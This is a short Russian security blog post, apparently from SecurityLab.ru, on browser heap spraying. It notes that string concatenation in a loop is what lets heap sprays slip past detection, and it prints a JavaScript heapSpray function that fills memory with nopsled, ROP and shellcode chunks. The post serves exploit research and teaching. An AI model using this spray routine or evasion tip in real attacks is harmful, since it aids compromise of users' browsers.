HeapSpray

HeapSpray
Мини блого-запись  о хипспрее.

Забавно, но в Интернетах говорят о всяких Bubble и Nozzle, и в частности относительно FF и IE9. Я вот прочитав следующие блоги:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://www.greyhathacker.net/?p=549

... был убежден в эффективности данных методов и даже рассказывал об этом на воркшопе, но сегодня захотелось мне определить порог детектирования HeapSpray. И тут то я понял, что истинная причина того, почему все эти методы из блогов работают, не в том, что они добавляют рандомный  код в начали строки и обманывают сложные алгоритмы, а в том, что там есть конкатенация в цикле. Другими словами не надо усложнять код и добавлять счетчик или не-ассемблерные инструкции и тд. Достаточно сделать конкатенацию! Все просто, не усложняйте себе жизнь ;)

P.S. Прошу считать это за дополнение к воркшопу, где рассказывалось об методе Корелана. Теперь рабочий код для HeapSpray много проще (greyhathacker.net базовый вариант):



  1. var heap_chunks;


  2. function heapSpray(rop,shellcode,nopsled)


  3. {


  4.         var chunk_size, headersize, nopsled_len, code;


  5.         var i, codewithnum;


  6.         log.innerHTML+="<br><b>Stage 2. HeapSpraay...";


  7.         chunk_size = 0x40000;


  8.         headersize = 0x10;


  9.         nopsled_len = chunk_size - (headersize + rop.length + shellcode.length);


  10.         while (nopsled.length < nopsled_len)


  11.                nopsled += nopsled;


  12.         nopsled = nopsled.substring(0, nopsled_len);


  13.         code = nopsled + rop + shellcode;                            


  14.         heap_chunks = new Array();


  15.         for (i = 0 ; i < 1000 ; i++)


  16.         {


  17.                codewithnum = "HERE" + code;


  18.                heap_chunks[i] = codewithnum.substring(0, codewithnum.length);


  19.         }


  20. }
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
26.03
11:00
вебинар securitm
Как одной системой закрыть все ИБ-потребности?
Ответим на этот вопрос на вебинаре 26.03 в 11:00
Регистрируйтесь →
Реклама. 18+ ООО «Секъюритм» ИНН 7820074059

Alexey Sintsov

IT Security, DCG#7812

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS